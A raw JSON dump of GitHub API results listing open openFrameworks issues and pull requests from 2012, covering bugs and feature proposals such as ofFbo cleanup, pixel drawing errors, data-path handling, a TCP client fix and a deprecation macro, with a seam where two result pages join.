examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"3b0c90696d51253d280f98b01e8e9fae"'), ('date', 'Tue, 29 May 2012 20:18:26 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1218","html_url":"https://github.com/openframeworks/openFrameworks/issues/1218","body":"Updated ofQuickTimePlayer to properly handle videos with an alpha channel. This uses the setPixelFormat() method, so all you need to do is:\r\n```\r\nmyVideoPlayer.setPixelFormat(OF_PIXELS_RGBA);\r\nmyVideoPlayer.loadMovie(\"path/to/movie.mov\");\t\r\nmyVideoPlayer.play();\r\n```","closed_at":null,"labels":[],"title":"ofQuickTimePlayer with alpha","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1218.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1218","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1218.diff"},"created_at":"2012-04-25T18:48:41Z","updated_at":"2012-05-16T09:27:12Z","comments":2,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1218,"id":4286936,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/prisonerjohn","gravatar_id":"b52cabeecffe4497699db813a715456f","login":"prisonerjohn","avatar_url":"https://secure.gravatar.com/avatar/b52cabeecffe4497699db813a715456f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":119702}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","html_url":"https://github.com/openframeworks/openFrameworks/issues/1217","body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be difficult).","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","color":"444444","name":"project generator"}],"title":"projectGenerator update doesn't respect existing project settings","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-24T21:03:44Z","updated_at":"2012-04-30T19:43:55Z","comments":0,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1217,"id":4269431,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1216","html_url":"https://github.com/openframeworks/openFrameworks/issues/1216","body":"Since I don't want to derail #484 further, this issue deals with the implementation of a deprecation mechanism.\r\nBased on [this](http://stackoverflow.com/questions/295120/c-mark-as-deprecated), I made an OFDEPRECATED preproc macro.\r\n\r\nQUESTION: How do I correctly #ifdef for MacOS/XCode4/llvm?\r\n\r\nCould people test this on different platforms? On linux this works. \r\n\r\n\t\ttestApp.h:\r\n\r\n\t\t#pragma once\r\n\r\n\t\t#ifdef __GNUC__\r\n\t\t// maybe __clang__ for checking against llvm/xcode4?\r\n\t\t#define OFDEPRECATED(message, func) func __attribute__ ((deprecated(message)))\r\n\t\t#elif defined(_MSC_VER)\r\n\t\t#define OFDEPRECATED(message, func) __declspec(deprecated(message)) func\r\n\t\t#else\r\n\t\t#pragma message(\"WARNING: You need to implement DEPRECATED for this compiler\")\r\n\t\t#define OFDEPRECATED(message, func) func\r\n\t\t#endif\r\n\r\n\t\tand \r\n\r\n\t\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\r\n\t\t\t\tOFDEPRECATED(\"This is an old function, don't use!\", void deprecatedFunction(void));\r\n\t\t\t\tOFDEPRECATED(\"Obsolete type, use T2!\", typedef int T1);\r\n\t\t\t\ttypedef int T2;\r\n\t\t\t\tOFDEPRECATED(\"This is an old variable, don't use!\", int oldvar3);\r\n\t\t\t\t//This breaks a bit cause it's used in the constructor of testApp, so always triggers.\r\n\r\n\t\t};\r\n\t\tOFDEPRECATED(\"old class!\", class oldClass {\r\n\t\t\tpublic:\r\n\t\t\t\toldClass();\r\n\t\t\t\tvirtual ~oldClass();\r\n\t\t});\r\n\r\n\t\ttestApp.cpp:\r\n\r\n\t\tvoid testApp::setup(){\r\n\t\t\tOFDEPRECATED(\"old string. Don't use\", string oldstring);\r\n\t\t\t// Uncomment these to trigger deprecation warnings\r\n\t\t//\tdeprecatedFunction();\r\n\t\t//\tT1 t1object = 5;\r\n\t\t//\toldstring = \"bla\";\r\n\t\t//\toldvar3=5;\r\n\t\t//\toldClass bla;\r\n\t\t}\r\n","closed_at":null,"labels":[],"title":"Implement deprecation mechanism","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-24T21:03:39Z","updated_at":"2012-05-02T10:19:07Z","comments":11,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1216,"id":4269429,"assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","html_url":"https://github.com/openframeworks/openFrameworks/issues/1215","body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path.","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","color":"444444","name":"project generator"}],"title":"projectGenerator sets incorrect path in Project.xcconfig","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-24T20:59:57Z","updated_at":"2012-04-30T19:43:14Z","comments":1,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1215,"id":4269359,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","html_url":"https://github.com/openframeworks/openFrameworks/issues/1202","body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","color":"DDDDDD","name":"section-video"}],"title":"ofVideoPlayer etc needs ofColor access","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-22T18:42:58Z","updated_at":"2012-04-22T23:56:33Z","comments":3,"milestone":null,"number":1202,"id":4231092,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1201","html_url":"https://github.com/openframeworks/openFrameworks/issues/1201","body":"DO NOT PULL YET!\r\n\r\nHey all\r\n\r\nHere's the 'off-axis camera' setup we worked on at ScreenLab last weekend.\r\nIt allows you to:\r\n\r\n* Set lens offset on a camera\r\n* Calculate the camera parameters based on a 'view portal' defined by 3 points (top left, bottom left, bottom right)\r\n\r\nCurrently the changes involve editing ofBaseRenderer (and therefore all other renderers) to support lensOffset parameter (default 0,0). We could remove this since ofCamera doesn't actually use ofSetupScreenPerspective\r\n\r\nSo let's have a quick chat about what needs chaning to make this core friendly and then probably pull after 0071 release?","closed_at":null,"labels":[],"title":"Feature provocation pull request: ofCamera lens offset","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1201.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1201","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1201.diff"},"created_at":"2012-04-22T15:55:29Z","updated_at":"2012-05-29T17:34:24Z","comments":9,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 